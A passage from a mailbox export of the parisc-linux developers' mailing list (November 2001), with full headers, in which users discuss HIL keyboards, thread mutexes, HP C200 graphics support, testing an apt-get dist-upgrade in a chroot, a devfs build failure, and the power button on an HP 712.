Since I have a 715/64 myself I know that at least on my system the keyboard is a HIL
model (and connected to a "keyboard adapter module" too). We had and still
have some problems with keyboards after system reset, so I would askl you to only install 
only after a full power-on, not after a warm-boot. 
And for HIL keyboards you should select "cancel" in the keyboard language dialog....

Helge



From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mutexes ?
Date: Thu, 22 Nov 2001 10:32:09 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20011122103209.A1789@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620793 30689 80.91.229.3 (22 Nov 2014 01:46:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 03:32:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D273482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 03:32:11 -0700 (MST)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id fAMAW9f01797
	for parisc-linux@lists.parisc-linux.org; Thu, 22 Nov 2001 10:32:09 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13178

Is there a problem with threads and/os mutexes on parisc linux, or is it
just me ?

checking for mutexes... no
configure: WARNING: THREAD MUTEXES NOT AVAILABLE FOR THIS COMPILER/ARCHITECTURE.



-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.



From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chris Christie" <chrisc@wias.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My C200 situation is fantastic now on to the K9000 Power House :)
Date: Thu, 22 Nov 2001 20:47:48 +1000
Lines: 72
Approved: news@gmane.org
Message-ID: <001401c17343$20b01be0$c901a8c0@wias.net.au>
References: <200111220447.VAA03217@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620793 30691 80.91.229.3 (22 Nov 2014 01:46:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:33 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>,
	"Grant Grundler" <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 03:51:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tardis.wias.net.au (unknown [203.47.56.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EBD6482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 03:51:19 -0700 (MST)
Original-Received: from data (scorpion.wias.net.au [203.47.56.235])
	by tardis.wias.net.au (8.11.2/8.11.2) with SMTP id fAMAnlg15036;
	Thu, 22 Nov 2001 20:49:47 +1000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13179

What a great day it is for these fantastic RISC boxes :)

Grant you caused us to perservere with these boxes until now thanks and
hopefully [Im very confident] the K9000's are back in style!

4 PA 180 risc + 8 GB Ram + 34 Terra Bytes of HD :)

SMOKIN'

Chris Christie

ps. Will forward K9000 results :)

The key to this is WYSE monitors as early as a WYSE 60 will do :)

HP wont like that they cost $$$$$$$

:)

Make a WIASA decision today !

Wholesale Internet Access Services Australasia P/L ACN 096 011 511
BN17400545
148 Ipswich Road - Woolloongabba - Brisbane - 4102
GPO Box 949 Brisbane 4001
Tel: 07 3217 4103
Fax: 07 3217 3541
Email: info@wias.net.au
Mob: 0417 375 196

Visit our web site at http://www.wias.net.au

The information contained in this e-mail is confidential.
It is only intended for the recipient/s named above.
If you are not the intended recipient any use, disclosure, or copying of
this e-mail  is unauthorised and prohibited.
If you have received this e-mail in error, please notify the sender so that
arrangements can be made for its retrieval or destruction.
----- Original Message -----
From: "Grant Grundler" <grundler@puffin.external.hp.com>
To: "Herb Radford" <herbr@magma.ca>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Thursday, November 22, 2001 2:47 PM
Subject: Re: [parisc-linux] My C200 situation


> Herb Radford wrote:
> > Does that mean that stifb is up on the FX4??
>
> No. That's just the STI console - different driver.
>
> > What about X then?
>
> Dunno - but don't think that's the same.
>
> > By the way, I also tried a 64-bit kernel 2.4.14pa6 which did not do
> > anything I could see after setting the w-bit in the processor status
> > register (went to 64-bit mode).
>
> Did you enable CONFIG_PDC_NARROW?
> That's required for 64-bit on Cxxx (but not on Cxxxx) machines.
>
> grant
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Grabert <xam@student.cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My C200 situation
Date: Thu, 22 Nov 2001 12:26:07 +0000 (GMT)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.41.0111221214040.29126-100000@student.cs.ucc.ie>
References: <200111220447.VAA03217@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620794 30695 80.91.229.3 (22 Nov 2014 01:46:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:34 +0000 (UTC)
Cc: Herb Radford <herbr@magma.ca>,
	<parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 05:25:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from student.cs.ucc.ie (student.cs.ucc.ie [143.239.211.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9973482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 05:25:55 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by student.cs.ucc.ie (8.9.3/8.9.3) with ESMTP id MAA13569;
	Thu, 22 Nov 2001 12:26:07 GMT
In-Reply-To: <200111220447.VAA03217@puffin.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13180

On Wed, 21 Nov 2001, Grant Grundler wrote:

> Herb Radford wrote:
> > Does that mean that stifb is up on the FX4??
>
> No. That's just the STI console - different driver.
>
> > What about X then?
>
> Dunno - but don't think that's the same.

Mhhh, can anybody give an clear answer to this question ?
Or is here some more testing necessary ?

Does anybody know whether stifb and/or XFree is working on a RavenU+
(C200/C240) with a VISUALIZE FX graphics card ?

Did anybody have success in running XFree using a PC PCI graphics card ?
(probably this is just possible as a 2nd graphics card as Grant wrote in
 a former email)

> > By the way, I also tried a 64-bit kernel 2.4.14pa6 which did not do
> > anything I could see after setting the w-bit in the processor status
> > register (went to 64-bit mode).

Thanks, Max




From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 'apt-get upgrade' now okay?
Date: Thu, 22 Nov 2001 13:29:04 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20011122132903.E23305@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620794 30699 80.91.229.3 (22 Nov 2014 01:46:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 05:29:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F4EE482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 05:29:06 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 723119F48; Thu, 22 Nov 2001 13:29:04 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
X-Operating-System: Linux mail 2.4.15-pre2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13181

Hi!

I've tested a bit:

	apt-get update
	apt-get --download-only dist-upgrade
	mkdir /root/CHROOT
	cd /var/cache/apt/archives
	for i in *.deb; do
		dpkg -X ${i} /root/CHROOT
	done

(Yes, I know, this will not result in a sanely installed chroot
environment...)

However, this chroot environment (including shiny new libc6-2.2.4-6)
seems to be okay. So, is it okay now to also update the whole
system?

MfG, JBG
	
-- 
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	http://lug-owl.de/~jbglaw/software/snapshot2cvs/



From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: [parisc-linux] 'apt-get upgrade' now okay?
Date: Thu, 22 Nov 2001 13:36:26 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <sbfd01b2.083@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620794 30701 80.91.229.3 (22 Nov 2014 01:46:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:34 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>, <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 05:48:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C036611D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 05:48:06 -0700 (MST)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id NAA26883 for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 13:48:04 +0100 (MET)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma026713; Thu, 22 Nov 01 13:46:50 +0100
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Thu, 22 Nov 2001 13:46:26 +0100
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13182

>However, this chroot environment (including shiny new libc6-2.2.4-6)
>seems to be okay. So, is it okay now to also update the whole
>system?
>
Some people (myself included) have succeeded in compiling a kernel
after apt-get update, and there was a message from a developer which
said 'it seems to be ok, proceed with caution' - so I guess it is okay.

Good luck,
Jurriaan




From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kaj-Michael Lang" <milang@tal.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] devfs in latest cvs kernel
Date: Thu, 22 Nov 2001 15:46:20 +0200
Lines: 7
Approved: news@gmane.org
Message-ID: <002901c1735c$124c4ba0$56dc10c3@amos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620795 30704 80.91.229.3 (22 Nov 2014 01:46:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 06:41:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from velli.mail.jippii.net (velli.mail.jippii.net [195.197.172.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA6D4482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 06:41:18 -0700 (MST)
Original-Received: from amos (dyn-3-085.tku.netti.fi [195.16.220.86])
	by velli.mail.jippii.net (Postfix) with SMTP id 48B6A4B5
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 15:41:15 +0200 (EET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13183

Won't compile. Complains about __set_bit

--
Kaj-Michael Lang , milang@tal.org




From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kaj-Michael Lang" <milang@tal.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Power button on 712
Date: Thu, 22 Nov 2001 15:48:41 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <003801c1735c$6581b7b0$56dc10c3@amos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620795 30706 80.91.229.3 (22 Nov 2014 01:46:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 06:43:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from velli.mail.jippii.net (velli.mail.jippii.net [195.197.172.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id 620AA482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 06:43:37 -0700 (MST)
Original-Received: from amos (dyn-3-085.tku.netti.fi [195.16.220.86])
	by velli.mail.jippii.net (Postfix) with SMTP id 52E1A710
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 15:43:35 +0200 (EET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13184

This might sound really strange but anyway:

Should the power button work under Linux ?
Even after halting I need to pull the cord to get my machine to power down,
as it won't respond to the the power button.

--
Kaj-Michael Lang , milang@tal.org




From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power button on 712
Date: Thu, 22 Nov 2001 14:53:04 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20011122145304.F23305@lug-owl.de>
References: <003801c1735c$6581b7b0$56dc10c3@amos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620795 30710 80.91.229.3 (22 Nov 2014 01:46:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 06:53:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 734CC482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 06:53:06 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 929D4A090; Thu, 22 Nov 2001 14:53:04 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <003801c1735c$6581b7b0$56dc10c3@amos>
User-Agent: Mutt/1.3.23i
X-Operating-System: Linux mail 2.4.15-pre2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13185

On Thu, 2001-11-22 15:48:41 +0200, Kaj-Michael Lang <milang@tal.org>
wrote in message <003801c1735c$6581b7b0$56dc10c3@amos>:
> This might sound really strange but anyway:
> 
> Should the power button work under Linux ?
> Even after halting I need to pull the cord to get my machine to power down,
> as it won't respond to the the power button.

During initialisation of hardware (the front LED is blinking) you
can "easily" switch off the machine. But, after the OS was started,
it's not such a good idea to allow an user to simply fiddle with
the BRS (-> big red switch). Try to /sbin/poweroff or to /sbin/halt
your box and try again:-)

MfG, JBG

-- 
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	http://lug-owl.de/~jbglaw/software/snapshot2cvs/



From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurijus@theophys.kth.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power button on 712
Date: Thu, 22 Nov 2001 15:04:33 +0100 (CET)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0111221501480.22553-100000@uranus.theophys.kth.se>
References: <003801c1735c$6581b7b0$56dc10c3@amos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620796 30712 80.91.229.3 (22 Nov 2014 01:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kaj-Michael Lang <milang@tal.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 07:04:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from medea.theophys.kth.se (medea.theophys.kth.se [130.237.25.82])
	by dsl2.external.hp.com (Postfix) with SMTP id B39C4482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Nov 2001 07:04:37 -0700 (MST)
Original-Received: (qmail 16477 invoked from network); 22 Nov 2001 14:04:17 -0000
Original-Received: from uranus.theophys.kth.se (130.237.25.178)
  by medea.theophys.kth.se with SMTP; 22 Nov 2001 14:04:17 -0000
In-Reply-To: <003801c1735c$6581b7b0$56dc10c3@amos>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13186

On Thu, 22 Nov 2001, Kaj-Michael Lang wrote:

> This might sound really strange but anyway:
> 
> Should the power button work under Linux ?
> Even after halting I need to pull the cord to get my machine to power down,
> as it won't respond to the the power button.

Hi!

That's not the normal behaviour. After I do a shutdown -h on a 712, the
LED on the front panel goes off and it is possible to turn off the power
using the front power switch. I have to pull the plug only after I get a
kernel panic or something like this.

Best regards,

Jurij.





From - Thu Nov 08 21:20:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Power button on 712
Date: Thu, 22 Nov 2001 15:31:37 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117CAC0@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620796 30716 80.91.229.3 (22 Nov 2014 01:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:36 +0000 (UTC)
To: "'Jan-Benedict Glaw'" <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 22 07:32:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FBDD482C
